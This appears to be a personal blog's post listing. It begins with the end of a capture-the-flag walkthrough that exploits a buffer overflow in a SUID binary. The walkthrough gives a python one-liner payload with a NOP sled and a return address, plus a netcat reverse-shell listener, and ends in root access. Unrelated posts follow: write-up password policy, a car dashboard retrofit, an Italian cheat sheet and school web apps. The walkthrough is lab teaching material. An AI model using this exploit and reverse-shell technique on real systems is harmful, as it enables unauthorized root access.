Our shellcode starts at 0xffffd73a. I'm going to set the eip a bit earlier at 0xffffd72a. This machine will need the bytes in little endian format, so the eip will be "\x2a\xd7\xff\xff".

Execute final payload

We replace the "\x66" * 4 in our run command with this new address. Finally let's boot a new terminal with nc -lvnp 4444 so the connection can complete. This binary has root privileges with the suid set, so if we connect to it from gdb, it will run as the user gdb is running as.

So instead of doing another (gdb) run command, quit gdb and in the main shell run:

./leave_msg $(python -c 'print "\x55" * (2064 - 124 - 95 - 4) + "\x90" * 124 + "<payload>" + "\x3a\xd7\xff\xff"')

Our nc listener lights up, and whoami tells us we are root! Let's grab that flag int /root/flag.txt

📌 Password Protection for Writeups

2021-08-12T17:48:34-04:00

Multiple platforms, HackTheBox, TryHackMe, BlueTeamLabsOnline, express they do not want the answers/flags posted until the challenge is retired. Thus, for any active challenge on these platforms, the bulk of the content is password protected.

For password-protected challenge write-ups: use the challenge flag as the password to the blog post

For password-protected machine write-ups:

HackTheBox uses the root password hash or Admin password hash (early writeups may have used the system flag, however the platform implemented flag rotation and this does not work. It looks like as of 2024, challenges also have flag rotation so it will be tricky to properly password protect these with nothing to vet and unlock for users who have completed the task. You can still reach out to me for assistance on some of my writeups.
BlueTeamLabs I have custom created passwords for them until they are retired so you would need to reach out for these to be unlocked.

    # linux example of password hash for HackTheBox
    root:$6$vSJ....krWP0:18577:0:99999:7:::
    # windows example of password hash for HackTheBox
    Administrator:500:aad3b435...3b435b51404ee:d1256c...5017:::

You can find unlocked walkthroughs for retired challenges on any platform using the #unlocked-walkthrough tag.

2018+ Mustang Technology Retrofit

2020-08-26T13:46:52-04:00

Before the retrofit, my original cluster with Sync 2 (MyFordTouch) system

I know I bought my vehicle at a higher mileage (50k) but I have loved essentially every detail of it. However, I definitely liked the new technology in the 2018+ models including a new digital speedometer cluster and the Sync 3 system which supported Apple CarPlay. Turns out I was not alone. I stumbled across a forum post here where someone had actually figured out how to port backwards the digital cluster! I already knew Sync 3 was compatible, as the 2016's had the upgrade whereas my 2015 did not.

I ordered from Hellhorse Performance during the beginning of the Coronavirus shelter-in-place order back in March. I was itching to have something to do, and installation of a new cluster and sync 3 system sounded like a great project to keep me busy. A few weeks later, and the boxes arrived!

All the pieces laid out!

In total, I had to tear out the dash, and steering wheel column. 3 out of 4 of the buttons in the steering wheel needed replacement, the original cluster bezel needed replacement, and part of the dash pad behind the original cluster needed trimmed in order to make room for the increased depth of the new cluster.

View of the tear-out

Once all of the appropriate hardware pieces were installed, next came the programming. I decided to do the programming myself, which was also super easy due to the template the original poster attached. I went onto got my original As-Built Data from Ford Motorcraft's site here, and then copied it into a spreadsheet for safe keeping. I then had to go through the template and modify all the lines for the SCCM, IPC, and APIM systems in order to reflect the new buttons on the steering wheel, new information system (sync 3) and ensure my mileage matched up with my old odometer.

Finished view! 15 Apr 2020

But it was definitely super rewarding to custom program the pieces and get everything to work. It feels like a brand new car on the interior!

As of the time of writing, 26 Aug 2020, I also have a new tuner mounted to my windshield as well. Definitely a lot of new technology in the car now!

Digital Cluster, Sync 3 w/ CarPlay & my new tuner!

📌 Italian Conjugation / Verb Tense Cheat Sheet

2019-12-20T14:22:08-05:00

View of the verb tense sheet

I have been using Busuu to learn Italian for the past few weeks (2020 new years resolution is to learn as much Italian as I can!). However all the varying verb tenses can be hard to keep up on. Here is a cheat sheet I made in Google Sheets that anyone else can feel free to copy or print out for their own use!

https://docs.google.com/spreadsheets/d/1QZ4JdB1t4SYbum2nlbAnkGfC2fG20yXEMgEzMUGNNeo/edit#gid=0

End of Year Device Check In App

2019-03-05T17:01:56-05:00

Another application I built at work, during the month of February, that I am super proud of is a way for us to check in devices at our high school. Essentially, a teacher logs in and the application will automatically pull a list of the teacher's classes. Then the teacher selects a class and the application will grab all the enrolled students from our SIS and then use that list to communicate with our Asset Management software and return a list of all the devices assigned to those students in a beautiful array of cards! Just in case additional devices are found, teachers can add those at the top. In this testing page, I did not add all the icons that is in production, however you can see on the added devices that the icons are for collecting accessories such as case, protective shield and charger. It allows us to at a glance see if all the accessories were collected. Clicking on an asset pops up a modal to verify the correct student who is assigned is the one turning in the device, and capturing information on the accessories! All checked accessories' icons will change green based on what is selected in the form. Proud of how this one turned out as well!

View of the dynamically loaded assets for all enrolled students in a specific class!

View of the modal to collect information about a specific device.

Prom Tickets Web App

2019-03-05T16:50:41-05:00

I work in a school district and one of my latest projects is to create a custom application for prom tickets. It features the ability to scan a student's ID and will verify the student against a list for eligibility and then automatically send out tickets to the students for Prom all at once! Here are some screenshots of the app of the beginning process where it can check for eligibility. Also attached is a screenshot where the student would automatically get the tickets sent to their email! Proud of how it turned out!

Eligibility Checking

Automatically sends students their tickets!